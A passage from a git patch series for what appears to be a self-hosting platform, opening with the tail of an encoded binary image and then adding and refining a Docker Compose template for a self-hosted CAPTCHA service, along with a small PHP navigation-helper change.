zVm=N-2OQ-ifTF>QSr7zAzj@_{-lCYxQ8BG<FPHma_t)Ie8)w?rU)j{VcnS`Bat#Il
zZ2sfVIm|7-YuE?fAr#fuzx<;B+Ze`4RLio#zp!?T{Zi2;XI}tsveQ50{`kO*^~5k%
zD4sb<+2NvzUuxiefC4(Ir>{T8W0#U$IFw{g-uD~z4k2Dfjsq%((@tVQQG(phI}bd8
zYMs{7t~D6%5V|#Nsv~$Rm21e4aEeQdGrL+LToS*2OP^oQ8>DEa7QEz_@2C0!F)$n>
z-cY2kswF}us_Q;#Mg3kiJvfL7`%KR$C^w?YNg%-^Z}FE<d8A+eTN(?{WG;3jm>c7q
zPgnprZ<?&(mfI1>lOg*DUGiwA_G8hsa|pn1SPpzAyRrB9saM!Ee4^KOO~l#PH5>iB
z^X=Z1*cp)!?u2$%{5#j##d|Ai_WZm~9bAPm0;ci>xv(pU%<3*b&|?>%KrTIJS-1x*
zAam*tG`Z#BKLFve_sjv_SK#zVkuFK1cNT6APd-9?xkLc~MYQF16j2j{CSs#rJOvam
z5}B8uS4p~Gh}n2AFVj#wG4f%;Yva>qLHD=7O0L;SLDQhJ5B?bKKYsnu3jU;Iz(6^n
za67!^4>b)|b=aO>Ya#bU{BDt=>6tJixtJEGU?8(}r_9aU{1t0;le>O|92C($6cIxT
z-WC5$#EQ@)bcJ|S*zg`GBm9uhPjCTCRNF!ms7o=tdz1d}x8c{~Dwndq$*+T5?23%k
zu7aS;``M}gjQg8OyDQ@rtlpo~%>0FjU_T2BpWclS9mIxW*zJu;(O%)K*JpC2D&r#-
zhPKE@6WJ(W<0$5HIGw{Wq1mNdfM>24NMP8je?M;MSV6f6Cus~=b~+!jKh_RY1cx(T
z9(34wmLuu|4WS2FE(6O)=iGuUxk_sm2lYDq`?%#58xw<9%lR+O^y23p(d`Le97b)4
z`^W=2tKg<oO*M3q;*V2iD2xYTx4+us+TO5|<OF2qw>0h*V#)!$xohUoR^K|BUg8Q1
zj67xIr;i4vMRA?D32?VG{1^sf4HOX0f$Of;uF$~!bt7J09Ljh)H;;`KVa#^iT<rL+
zuoS>`;gM`ox%W4J{Kv^qXKcq*VD+V|BSOrhLUf74PJ#809Ut<&uqdV!9F9e?D_@A*
z>WJqx4!|U;aPAv_vT*FFBVo_o5Sv|=-XMdvc_H#mi4l||eI24as%v1pUN%g(eqs5i
z)^O-tU)7~xdO`EG+&aVEwli`kWL$*rVkg@%n@o*64VV<4#<-dg19pJF%fV%nyksr+
z--jfvvxAR%c!(U5_b8}6uUH@(az4mq=-=Yn)bOh#k=H}qu5{kSG_5^fjGf~Cs7Hc0
zm=+z8zW1x05a;Aora>U!w8iL<B`D{r#b>M<Olu<|k$7$V%MQ*|*5xZ%!UC;4e5#RP
zrH6tKyV2?n^`tr><{e-@h=m&kpH`QtX>Ed!Hx^GtuH6wAJ+X6oy835aqCi$+GNXW>
z>Op(}1kh#su`kZMYuPJ%*XDP?Um^BlY=$3ETu*M5`Z0>~mPxybUv_}wu>BQ6j!5YG
z+m3_a=7bnqSby^m=f5Pid`e@a;Y7i>n=rRjK6T-gz$%}1Uftvxb1+xKy#N*wI(mq%
z!uk1={Bq)AZv#jE%h1BY!lLeR=0;Y7UqkGATb{qlx{x;EJpII8$%YrXN{NV@eTYok
zup4KBehi?zj{%CTc8Nb3!gMK<edi!6rUVjqL;JCi|4Vq*3aNJ=rLo0e2WPFH)1uM>
zC;gI%-;XCvjy<(_t7i5wnO;aJYta1IcvXD@ad{^TusO#~zUuE=hXLud4Y|`>$YkVa
z{pQKp-@j+KalQR`yjccAjlVpAt@~P-ygcFo?3Kt0WEozh|N7<e*@PfXttfv#9qj@g
zLotxA`rrvL0J*;v8GFeB?h15;o=0+qEH@07T1cZ``Ib`+bJhB5L$8u;>6F^Cm8Gna
z_q$Fj5OtZ-<hyq_e7@CM%?WMJ^-}N$rgtw~yf{MgFMca8%syrO%&6pO*M-XV_V(_7
z1-3*&m&U4FV+T4R+Dsw~|DTLc+O!qK1|y@S#($i%5uKJ2Q<(jR{c}>m88BrEsnYH`
zF$he9JiwG-$&e7(D#aPBsqiDlgyUKuV^)XrvcF19XKm<DSHvtTQQumI(;>u_wNoV<
z%b<$8XG4--c<MdS=QahGdfpRysxvYm`N8pqIQ5?(&55u_O?bcM^gSI{;0kE0mUMS9
zggXs@_M@3Cn3VfiSF+F}J7Fy;0IvtxlMq-`l()3SHinM-i2QclPbB|FwJIgs{glz(
z>4OV8yEoj|jYI1Dh3Azv_(J6raOE&_f6JwkwP)+4x{H$0jtv0aY&n1bk(6SOFEm>p
zKm4_ExD5R=LWpE7L4R9z{WaYv{@*PVJwk9?&>wVAmJIG<3b__Do|<|S{Dw^T-o}&=
zd-g`}@_>SC3Mby5(&&4}_}oYffTT$ZULEFJJ>+vKQGIH`LnFZq>@I8dF#_8MjQbJm
z67ww@%a#?A0q!)!J~Wuv$zqOgDl2}7TEfRQ52_MW%lyvMwU<Fp*r{Kq`tqOOIoI2X
z4(tfJgMD>GLK<MXjnffXh(c?K<rY5jdc)EW<0x*}x4HKmg*_55P%1(L{e=Z{&7t#G
zhk4Ru$R7c-l`Jbqlfoo_lJXg)lB?UeX?U0XtTK9_eU0Y=D90URpe3M(30k~~yN%v^
zLX(HmO8)6WvXDGHT<X;ZVZ#XK1cf*mqw-Ul;S4QYjst4E0_ED6ugLstB+SH`Zif5)
z+eBP@#}lV<--OD>JMjhooJZWwLSBeWSfhEHP^)|}dxvdY(N(px{&dRQUAMDNlf!@p
zV8cd1N1QeQXYSEgmf%bTO5%WPWN$>z9ifk!+0^y3S*`@j+XxH=je55D%>`+)ogf2Q
z5}Wca(~t1#9t_2yqTPn~Eaz>rZN$$+GyFe~Q}$fFG}o@`G@m0|cn0!AVR#qa*C;Wo
zIY?m3mjB<30GA;&TYV)+8v@^#z;GZDY+gNBrsK)DO4iMZ&ICI<ZFI!zI}y375#+zo
z+in`t&D}%jZ*TUCHY8?KpF67)EDbG$&b^P8F}bhy&{pCS?$hE75&{-vih$cU20dW-
zS<&dhpF<5F;=b<xN~x`@tn8Nf%iEp!HU+#CeUy-xG3~H?rY`kcC?iOieoRHH+8}>o
zqD4gHU&gN)HuvRva&k*sTmH8Y*_%Xf_b(cZPcoc&@1rmi<crtX`|ZTNl4rSRPQxDv
zF^}L5Cs47X=RQ>^exV&IG%zp^3x0F~hy=~tl3+EGFSpPce&H~CP@Q~+9=V}x#0k&l
zh+XlQjc3Ji5a{$CxFc96&YS^4g%JZkM(=2)^ZSlE#}{s%VuLZ?*ZY4h+gqF2S~Esy
zL$rD^FMJDqn&Y^g7Zy;1I8FZ|Awy_pv%hK{!bnu=L&uO^(hm0lM?)B6KcTR~E)j4d
z%_8ps{h3$58-`ns(_;|AquPKYI2{>k)!E$zH710kjrU`F%WX(;3oqG;ivz!RUsOcj
zhs{o&mI3$b!UinN_cw%2G@n%AcCY-7uB^z+RoK^6CA0$GJrWzxs-}~MeT<-Py=)!G
zxzYzlst~QG9z8*P(KuL({g@wu3&(l(_u*i4gJJ~E(Izh!UEtva-Twt4O8@-Y|KaCW
z8J`(#iBmgHkzdoJiSeJ=tGy!0zZyB&*8g%Ey;`q1ev81=kGoizr4~!^+7zigdF_V!
zr#?;AwphgAXG^3>K!mcByOoNO64x0azW4@MVfil|PRK*FDr5YhX!h>I3Grc>zzH@K
z5J2eJm2e{qQXB_f;Z5m*jhM^lYtv9q;D=SXA!{er=UfHP?D2vsKrX)WA<0CK_#JmR
z#dOE1<ngKs5~GQBvd`BT<mmquB8l)pHLi>_9mb?bgx+_>)h``f@7#`HoTEDcMev(6
z4Je!}G1~g$3u*9cthW$!1e`}K?-g?m*LmbF6P48|LzJrK!h-8%%9_qitGF!`JJ=rM
z3}E7h>CtM!^Lyaa0cPIoit*>y-%MFdcet@Hvev$+9i=pSf&RC#G0`zG^OiqD#3i~5
z8q<IX-1jqpjd(*un+E;)`kj^qEvN%V-9=ad*GG5ggDzXNS!+?GuNL|CHE2gpFf+O_
zaspn|(6Xw??m$FV!7g1waS}^lX)xAA5jI|R`Oj{jzLE!%EtgoEaU1>=0aT|!*bY~2
zg+$r<($G@d%NPSfmlr(P$goHCryq6A@sX;$xtoD{A0qG*S8=B>K^r&#I*}b+8U=_s
z!d+WYq2P;NWs&WVPx%G2POKq$SL=N0EWL!bp*TWe)IsV-M-+3)EZ44ybiM5OQ$N;A
zniv1za)z5XEOYcx>)s~|m2a6}-G*<-QJoowuQC-TX{VuWh(a`KS?lI#Z-y}A6Tx&V
zbRVnr>M3Xnw>m0xC88H4*?2@B=U9flVaU;2^Pdt#Km9o+{qO^-)k2=k)5rFzb6HoZ
zZ25;~ym&Tmz4WISXOrHd3qw*R-1(imhnAhMO6yLMXT?obku5UZ9-Ag7V7HL)Q^p;j
z4#)@kgtP)nwq;7F(Ahy^3VB!=IH~7f8;o+)KQH4}siH*4akMyth+$Z;{#mKLCgq(}
z85}fh$GR_vS~RLDnh?fH|M^Q3blnY`>bw!g?&imdwG+YFcc{8CTh8Fk%1+}NhAfbg
z<SIsYX1tKV%>_Wg(0ABpj8>qOs&JXS(<5s_C9c3KlTBQ7AW8lliBo!2rogxlpqs@m
za6nR$TD@9>NcZo+OE*r}*{-j>6MWf>`A7NL(t7q+XZ`U#Q6+bQBLa^{zr}UbbZKly
z)E29LQ0T!~31X@YEN=TVkFDr%rbb`TNBzuK205Sq@_eP_t->F4rVM+nB6%OK+Nr1t
zD~u2P7RMn0Ucs4;sQG^hZ~gNKveXYJycI5q(wb=g@(?({?`<QQYKl4)bUq%V{S<QA
z!>P#tc4F>s1cHzt{6@&x^aG6%krEZ)oN+Q}DYPLe#QK#5<f36<we-A8xPg-t;T$y2
zOh16~%>oBUrP){GS+ZOdj~K*|zH}V{L-&YzEaPKPEZWBLE(!|`>k6FORC+m5%~yg`
z=V{5LBcC$t4il^zJ7y0OJR`y5N(8B}XR6W~+vth(gR!Jc*Mth#URD}l3WQMKg0n>W
zfaHIonZjCGtuW53HqmGq&dvC#fht)1)L$D#R-+6jcnm+8NXi^d<#1a^N9IA&dl33b
zir`6~T6ZhfeI1i7X*pJJqg<8|EuM5qh+0YY{%$R75(ktf0ibG9oLxO|11N%h6M7+`
zRcPQ!Ro)8Yg=u%YA?u$lx<)e=Yh9-WTM0%<c!H{NUph$U9o_mZy9M3fijI)JlTI<M
z*>l#5y(J)f9q+&5c9E-=uO{1%3B!k#<N_z*CEONE)uXia?*~9@ajG3*)lLN-C6_5H
zsi69!AYJ~m2X%kqbrTV$&Etx4uW6d{#sSt}9~kYZBu-&45j<taX}E@C9bp!*bH++P
zg<MkRu_MK{5sJA=utH(?Ai#4~UY5%~vg<gD_WgfpGcUPSw|S=ze_nIYr5<Vbm}DX@
z@X@d2K*<jM{a-{C5>_=NG)nHMJFTAnF9v1ot1GFM*}g@GO@aOq!xF!`fI->=mLKFU
zWc4}+{0>k2>S!LZU^T^WP~%x%dG=E0vAsz0V%^C4kD96B-YInm!W$^!zQCr_%QOfn
zSpXgfy92eiOKC!NXRiQL2$h!6e8L+~DI2>DP=zT~_SN?0rsm$N($d%ytQ!2_9f2h6
zs?LM0Nk<wIUw{nZSd<1cSukS9I^%f2Mh0LlCJR9o0zB$9DJA|Ma`Qw^GyQl&XEn~=
zN03BQ5dR`FPKHSdT=z>sroc9Epm^Z?N1Hw>aQD`5m^;FSiBJSxE=KQt(J{HrgP8qC
z;FJ>w6EJF?oS80|RM^M@v$ha23Nj`xO_NfMk0s$uEIVE_UO+$GdovgFQ3-kmQ!0Wh
z-v?iD<nMumgq4ql$Q?1Vgx!hj*TRo`s7j}<__t0!ptiz4N@jj}|6*)eR~-}&5wV_z
z7pl2u$pF(9y&UW&jCGOIZ_dEmMm!Il93#1Qlso0$1UvOxF<pA-!$0K|@X~VyStM!J
zpE>1Cnz<Qd0YZGdxF@8OvT1Okyy4l}LAv+xWEWVhWmHc#jB}SN0fuZrcw$AVdOwx4
zz()ufaN4*4i0v^y_!Px~_~kKY&h7Z|&^AK``v76d&R(k3XDo|1a!yplIr04K^FJ*9
z+h95Prr#9?8D@|S&<$HIB_Rd1uK_yrUk5T>PvlYaj7j`K49!y60`W!?iUAehZ2{S$
zqbc3w;(;Gok|#~4Aqke`5e>)*iP;l-@M6T#5%X9eE+>y9I*oTVWnHZqe0CNH1pN?}
zW7*j&`v_O4U$eqKwsYoK*((J-9r9wR>w3}(vQQ10?X5>3^4D7ADAM28qGYyE(os4J
zI`Ek<mbGTbpG!#n-69$JNb4NHmtL;RLomCkiQU9oHa8oXphNtn7_l(pypc#n&JKt)
z?|aCkL~%nX5qM)o!GyIIDBU7dYwq<CzB%D`iS!@em)G*7dI)W1=Pg#40R%4#9J@#r
ztD|+_Rny1*>)Uqs+ZwWPrQ;It7>M`t&boX{*R_yGh-yU|wm(z0`6o$q{^+j|h-gI*
z>y~d7at@$~JE?u+1_Ge`z!3hr5YG`t$DW3MLHD!BdpgDTG56|HAL9RRux#)s!9-w2
z`1>cgU{uJbX;>JXF2=NWCj86<P_{8?vIE)hjR+B<C#<KW+WOQk*ktoN+!|R#q^?AK
z@OtwDPz1%FMw-&mT)J*q%3cXp=$~G&I~97+ktEmyS=o)A0U{IhMRX+}eUuJ$C3|<)
zC0)vcP_+5YBfe=LmZPU6&tP^H3Y|3v5L_x)SIw8*nzVAiE+Os-{QHHVr0GeMT8nCG
z4P7x8?gTsapLJNL-`LTFn|!>dDiom3016OlS)iu4vOEKScDnaM@P-yAPt@d_-H?c@
z`6tL*B*yX2C5ZA7e`&*+GqUm_s@@+Pn9#!4qcXQs%Sawz68{sn273F^iI6B7vu934
z<iGLPVU3?DUtpgbh#QK<a9L1Jj(eCcsll}L#%jnvyVMfEtUEnp#_lA!L@|05GtGA6
zEX8&m!6pSIT<?WH*%EBr=z<P%r|(SnZsEg(ZeYLC^sNQ(jxhA6Ll2Uoi;zz(4HJ_5
zHwXu#2*XmYW5h>|&<!iKc$@ZF`k!O+<?=fF$K%G*K#~E-)pmz*Rm)ngMX&`==p~C-
zJlu1ei7x#u{j8b3#GXwX4HdoxiW^r@KVFsnl^&OYWTk`Wwdp(Lp>ukGMm0jz33k?~
z6Z9^Ud6fS~qFmE(8#wl(`Z1d?Sq#TY2#~VR5E>$nMy=nKubR!!MA&K{=s>-)$rIS9
zj0u0#Rms7gr^r9u^R%U}#drROsde<od%nfTr}P&vcOhcG7F38pUxRHK4~>~8YBcFV
z4lAb^dnw|{k*$W>Zg)?Ws#Zhz&DQWE_e83t$4@czW|(J&GhWdiXI~^Gli<3UW_l(%
z=}-jhiRi8eX!|TXpJnJBUv+WqXKBo|^7@l-C=|9{OXtJr#z1qLGju8dc4-<Otq;0_
zS9X<1JkIHCG>eGg?(HT=1jl}H2hXFFpUH)HzDxh3_+eGE@^@4Bz|xGeKX+@Q5m|;H
ziE#&A;is<>ZjjF#qfeK+i$6=oU^s&0+0ZE3^}&ThJIexAfeIO_7QF(Jh~bE^awfc;
zO8*+e_u;+gg`_q##J-D&L0=_~qc3ZM<8nVmX?Bjsl0-MzQlH|!`i1$W#3k8?^4V+U
zmP5Dh2g`t>3^VdOu(QI37?|MwJlG8BIFmYCsw0?!Uy51slFuf$*oqWJl9NH-)$LnF
z6BQ+S#LYklA(OTd^~5=~+hhz)pHM_MDuj~({Rj(S;PVc1j4wCxu9;+t4b^`SpHKSJ
zD;L_Sax3x%%KJ?YDptnn)?Q*E;bWfgE*HclUEcMmnHDDL0EhJROHOQAt%>!wSST3A
zoxTK<Sr<1k61+f=u%sDA;k0AKz;Hco2(^9bcUW{L^4JY~#GjtIm)V~V`E5a-eu)zU
z2`sb6PDzO!W3*8J`jgL|Jkb!RO6cm8WflHGeBVp&+#>d~%u|%!(4*=mTaes6zc!`0
zi^f$vKQ|^y^<o^cV@FuH-y9#I2hGDH`unM;a6?Mz#@I~6O@gU=x0_J=ZEJUG>Fa%3
z>O0LI-%N>9%w6VhuF?3*D7~`kYTb7&N5e|H+TbXp7CaN)ByzZ=VD2c>uml?AU0Vrt
zTgG026XCCrnVgF%xVV)?Bd`0g*26@v9!$p_yJ{V+(G~|7a<9pc_w++0TTiqWdRqQT
zOHu=pIZ$~;G56$pe+P{gBbW;f9d3AHujoC#Qz9+?k*rhxq^odOH@WOdnUw(pXQl95
z?d3B5sfDdaC^7hxJ8)GPs)`RD^{R%=H`Xi})yOl>qg|jvq#l|j3TzR`=^3|8Evik(
z*O;(WUuCsd4qE>zSZ|-48#t$08C$b=Q2y^o-0C(<)`0Odn7(Y7@Lth;NJp~J#$FBn
zdM+>_s^qy0#*cr-PbFxZpXPnUDb5t(VWp`1z3tG4#IuKMiDoDqI>ZcJXiudo5T=rf
zmdpCCoj`k>)6EPr1^axCi_uFToby$kUuaxdeUPICH<Wh0C(68itkShCEBKqptM8fG
zqY+`*mOZ<WC!OH|&nXYD#~oh8oRBg>5QokHtvq$1G!sQ{)#HL|{riQPp~v^=T-M&F
z1AK!{+#;zvND;QNf_`J4N%lE7?v$2x2Ji<B@czRIPt!gqZ2VTb?2Q^YC&PKZv+?LR
zMDIK21DrBdq^qKnqJE}_cHTQ!HW@x{bd>sTV=-(chlBN<=V&#0*kz&_qRd<dxqfE^
zxXWv2$bfR(K+K7o3R|;Tob<)$IZmF%BRjdp7H`C#$;UMbePCrff6k=`O*@p0l=Bad
zpjvi(1w5E<vcPjfN@rp9xLuZ+7j{a1hU+JI-_{4@Kh7iGkVca4y2<-#dMThIkc_{i
zeOl1z;Xn>{?&_%W7Gmjm&u6s}H9|{L_D4l`f~Na9Y$9*+qJoGPOh#c<t|<O-S!!~}
zOXFzu>W8C`f$wzxTwA~*>`*q@M0h;*G2sKkqrE%%(o4vf_i<_SYZi^BKdt(4c`Vsh
z_;n6+7RHGKH$0T3g^4kfpZ1wyHp#j$wyNSJtO!}_(BSUfdPc?4ztxrAlv7kn#U7x9
zUc)+@0Xyjt%-{E&$#u70@3hl@aN!m#uO3`fzHu~8@SIY%WY8tx<qzMzdNX$#7m)y~
zrQb)=f&2e%{1Lp(7^m>&H&KZkZ_F`RmqgN4*s&6n>AQgg?x?eYLUC%VKK^3nv5ne~
zKs~sd9m+EmV-;pmp)cxAt}zk+3{OSPUQ0PWDx<L0w0MFKw^5mrNr!v6BiZIAm0()i
zy5S%$<jPg|D8hH}de2p#oB7w1vxAX+lp=kRqU7utV=t^GqQQ{{b4$(}8GI^Yec<}B
zLpV$NQBc@UMOf=e2SRGaxl}W~W$q}>60OT2?Q{`L#XVP<QnVS;boh>nx(?oM^Lf~e
zTOO9TAQm&{{0j+L`{C>AThnloKF0ouy0$hw&SLfT&<ldM#XS((<)9lum`LzVoOHkZ
zE_}QDpHE_IX&-e&;LZL%{3q*s5*rrv_67*HG%b3H%kY!3keKQb5tmYDAU?9<JNVJS
zaDQUfY2Rm)```CBE%Rb36HlIK$!%s3y^3Ys*9!IE-g03oP!TRCSPO2)3!q_kT||Fu
z`L=hgw3ybw9a*^^yFFapdM8_!0{iAOa*9&6V`U$&Fk+6gI5$K+(Jqo!h50T#9iEhF
z)iB?~!_KAd7K=&Y>-h(_U4XrHX!Rsa0hzd*gS)(>qfWxbhHyuyx8BjKdpG~y?6jTA
z<t7>={&*K$Q5DH-Ge$?(?Sc26E%-b#_5iB22<zD?F3fmicl*1o%tjPA@g+5;^2}kV
z-sM~c?cW*Y^c`@)jSYGWnW&C=L4VG2lz0JKsvSr&eFH<#mibrKDUr+g=Ud!S32(b_
zpQQglXMGgA_*GPP>XmqHe=aK^QIeQJ?l2S_ShKCAOU&+ML0Mo2vg%U=u6j4|nQoV{
zJfkh)YnXVH0`mkf_eV$2J+4nifR9{)D}42mt@egsb%9d()*$^)wU)v4Qte`tdbXaT
zD=g)1JbKAnI}}IUb+(mC6jMpU9kjqcpKJCxW!ECQ?TKCmsB~1_flw&^8r*}!Ha(8c
z{kNDKW7Plpi1I;R{1^cz^!Y~oloe^AyZ+WKqS5rmz@*;i%ik9H>jUfSbsdX!6E2r`
zqA3^bf(M`yj9V;X%+_779-Wh>nrhaVe1=RF3-RTZJVpn~F)q?*TpRq-xZwJETeIg6
zKWWo{-}dBHF81`;wxrg*B{udRgVQ$W*4Mvr9iRHY>naa|@06`b6#W<x^XW^aT$0Zj
zY)Y0{;}_WsrT-=}j5prArI4zxx^>eckGAl$s}y`iy|a@cV_J<ly9pcX#a(OQc<>jl
zoV&biK>2tc9<R@kbYhdE>%)f*?rXnIF^u$S(!rKCkXnskl;oiiRW3W)Loj?tb<@q;
zv|QNpDE&#yolL83S-;U&<9%Z*$LEFxFLsY~Un0DQ#aU8+)0Li+uSeOst5vEhRBnsf
zYYW4EdQ3bM0&A)qnUnVC^UNMVi|-%n$*tc8KVYY?<r)dd2Jr@dvHLEqH7vYtsQ@1f
z|46A7`>beEmAUurQ_QY+wK0a4>Jf@jAsSQ?B93k>)bfzFxSyuVuYXFLHJc%S7+PK-
z1q1?0x2UU^o2MS=lrd?O#|~E+Sn>*wC)L%xv1N57QSZ$o!x7v5Xi!6yg;E5`#mLp4
zpRmU#8iyNe{C(qZ{I_|32k+CqHM=OOX;NI~slNuaM~K3qVX@V{R!XckaJTG7=RoGY
zc7iob{_?iI+Nj5^!%hpAH4cs7&$iG;*6R<q^XiBDyLRx74nRHEzma1m9@&g6X$meL
z-pCnZy(oY^C1*#VRO`DgQNzo{e6z^x)Z3I-58>N^;^L=`H5s%?oly4l%EL+dKq^08
ziHT~6c~|i!esCq9Qxm$P((zy+S&<Qk^OoqVbLmu6SUR7;3c*<_M_*YwVOF&9^y$;3
zUn3p7)%+c19(>o=xa3ghnJS+%#R8+-lt;o+aky^GtU2N}Cnt`2_TqOiF9X`ftvp$I
za^)(GHio}Ak#mfyPir_9QYZU;!*1!|NG+$)GqaVj=N?(@KoB$ah#$4)T7R4aw&&0a
zh4(Ykjq`r->a+UgHhmUdi|D!1W>L$m`|%EU53IBp9D4huz;Op$^LWw>R_^j0OO38>
ze~ZxNl8pzn!Nq|60zRL>>+{de-}*G;4)3@-@A<;v8mXZ#@E!e%E~vX>#VHpmw(n$k
zYJX5Hn?lT_ip@-kZ#Pf5&N{gCX?SD{;uw{)$XxIZ{33IR*Uqfc^gpy7dHF9sD&TMs
zfg)M6pW(Id;?sV@Wy4GQ)`-hj849xCV-cyLk;?eBlh`*6_x;^?F)@ktyk_6P$+OuL
zBQx(DtN6h&>RF<kuk>9BAF$+agiefy$#O(>e?<`KzuBv1w2;m3?^W8FIhRIqiv%8~
zl*jwp-bS$&=RIGKpY>TGUpZirpc&`Qb-rwvGeaGE*Zup_4bzy;d^*BTw&B!Ta}`aV
zR$qSsO_LdE==j??<6ag2hCe(uXdh@kk?_<1aZ&o*?z~XM@~t!3uo>j?snu(Kr*aYx
zw9`}ab7C+5CcQmL8o~1N{&HK2_-)Ctf!7~|tVCXa@n*9sNW|dzT|dcbZE^){omq33
z{H?LJjl9f|jrS|A`R!HQacqXN)_(BWpFF(6^s=$+)yMrGG$y?KJJ;ieZ@FqtS4$Mi
zJUWGICrlBqzW;Dx$3pjo@P1O(LxF2|{YWUK?|1P%lJ(x0{0sQLJ+{aF59XgJZ73`p
z9WioSihOd%Wjo@l%=Bey0ySGABZ?N3=@rHOt1ocAAXx2wEE=m<|DP`x?>UnGqN$5i
ze4<xK3t^4aN9m(K9d%AfOGr{*9i?Eu92i<oby!L5_P6T!!{<y-^T%S%6ZNt?WJ3%r
z_wF)f*p)eF8Wx%atF7dyt~e;N;bzkr>2+1(93_D%^1*|c=Q#A0u;7=t6PQP)iz21>
z4_2+qi1y}o{dXj<Vr(+Wfr5CD{8H2Z-^hyFrqWve>J9!}V6oEKmxV79h})V1bex06
zSf_5}d!}DG@q{nx(;9TOMps`ZtvTzMq1+3nZX35z5cvOiF-3SHml&+f=cuvi|J~Mk
N-(kmh_QV9?{{wyt;b;H=

literal 0
HcmV?d00001

diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml
new file mode 100644
index 000000000..365dc4a2f
--- /dev/null
+++ b/templates/compose/cap-captcha.yaml
@@ -0,0 +1,27 @@
+# documentation: https://capjs.js.org
+# slogan: The self-hosted CAPTCHA for the modern web.
+# tags: captcha,security,privacy,proof-of-work
+# logo: svgs/cap-captcha.png
+# port: 3000
+
+services:
+  cap:
+    image: tiago2/cap:latest
+    environment:
+      - SERVICE_FQDN_CAP_3000
+      - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN
+      - REDIS_URL=redis://valkey:6379
+    depends_on:
+      valkey:
+        condition: service_healthy
+
+  valkey:
+    image: valkey/valkey:9-alpine
+    volumes:
+      - valkey-data:/data
+    command: valkey-server --save 60 1 --loglevel warning --maxmemory-policy noeviction
+    healthcheck:
+      test: ["CMD", "valkey-cli", "ping"]
+      interval: 5s
+      timeout: 3s
+      retries: 5

From 19767a569be463e86e4040a01b49676c63cb07c2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 22 Apr 2026 20:55:09 +0200
Subject: [PATCH 083/102] fix(navigation): replace wire:navigate.hover with
 wire:navigate

Remove hover prefetching variant from SPA navigation helper,
both in the happy path and the exception fallback.
---
 bootstrap/helpers/shared.php | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index 881211513..9f0f2cd73 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -3532,10 +3532,10 @@ function wireNavigate(): string
     try {
         $settings = instanceSettings();
 
-        // Return wire:navigate.hover for SPA navigation with prefetching, or empty string if disabled
-        return ($settings->is_wire_navigate_enabled ?? true) ? 'wire:navigate.hover' : '';
+        // Return wire:navigate for SPA navigation with prefetching, or empty string if disabled
+        return ($settings->is_wire_navigate_enabled ?? true) ? 'wire:navigate' : '';
     } catch (Exception $e) {
-        return 'wire:navigate.hover';
+        return 'wire:navigate';
     }
 }
 

From 833f5769e557e5ce2cbf56b56d1e2ee5b2712a35 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Thu, 23 Apr 2026 01:06:07 +0530
Subject: [PATCH 084/102] fix(service): docs link on cap-captcha.yaml

---
 templates/compose/cap-captcha.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml
index 365dc4a2f..561c589ee 100644
--- a/templates/compose/cap-captcha.yaml
+++ b/templates/compose/cap-captcha.yaml
@@ -1,4 +1,4 @@
-# documentation: https://capjs.js.org
+# documentation: https://capjs.js.org/guide/
 # slogan: The self-hosted CAPTCHA for the modern web.
 # tags: captcha,security,privacy,proof-of-work
 # logo: svgs/cap-captcha.png

From ae1a24a83b96f571097abc3169cfe05ebe0c6ce6 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Thu, 23 Apr 2026 01:06:25 +0530
Subject: [PATCH 085/102] fix(service): add category on cap-captcha.yaml

---
 templates/compose/cap-captcha.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml
index 561c589ee..9474b83cd 100644
--- a/templates/compose/cap-captcha.yaml
+++ b/templates/compose/cap-captcha.yaml
@@ -1,5 +1,6 @@
 # documentation: https://capjs.js.org/guide/
 # slogan: The self-hosted CAPTCHA for the modern web.
+# category: security
 # tags: captcha,security,privacy,proof-of-work
 # logo: svgs/cap-captcha.png
 # port: 3000

From d425998476c6c167e08d3ba107355c0ea6af222d Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Thu, 23 Apr 2026 01:06:44 +0530
Subject: [PATCH 086/102] fix(service): service url variable on
 cap-captcha.yaml

---
 templates/compose/cap-captcha.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml
index 9474b83cd..534a53b3c 100644
--- a/templates/compose/cap-captcha.yaml
+++ b/templates/compose/cap-captcha.yaml
@@ -9,7 +9,7 @@ services:
   cap:
     image: tiago2/cap:latest
     environment:
-      - SERVICE_FQDN_CAP_3000
+      - SERVICE_URL_CAP_3000
       - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN
       - REDIS_URL=redis://valkey:6379
     depends_on:

From 716c741fffee9e0156f1437bc9dd27e70b4ef387 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Thu, 23 Apr 2026 01:07:00 +0530
Subject: [PATCH 087/102] fix(service): pin docker image on cap-captcha.yaml

---
 templates/compose/cap-captcha.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml
index 534a53b3c..2cd1a286d 100644
--- a/templates/compose/cap-captcha.yaml
+++ b/templates/compose/cap-captcha.yaml
@@ -7,7 +7,7 @@
 
 services:
   cap:
-    image: tiago2/cap:latest
+    image: tiago2/cap:3.0.4 # Released on 22nd April 2026
     environment:
       - SERVICE_URL_CAP_3000
       - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN

From e26d4e39e62cccd2d8210c7a839fd3b1baef46de Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Thu, 23 Apr 2026 01:07:14 +0530
Subject: [PATCH 088/102] fix(service): add healthcheck on cap-captcha.yaml

---
 templates/compose/cap-captcha.yaml | 6 ++++++
 1 file changed, 6 insertions(+)

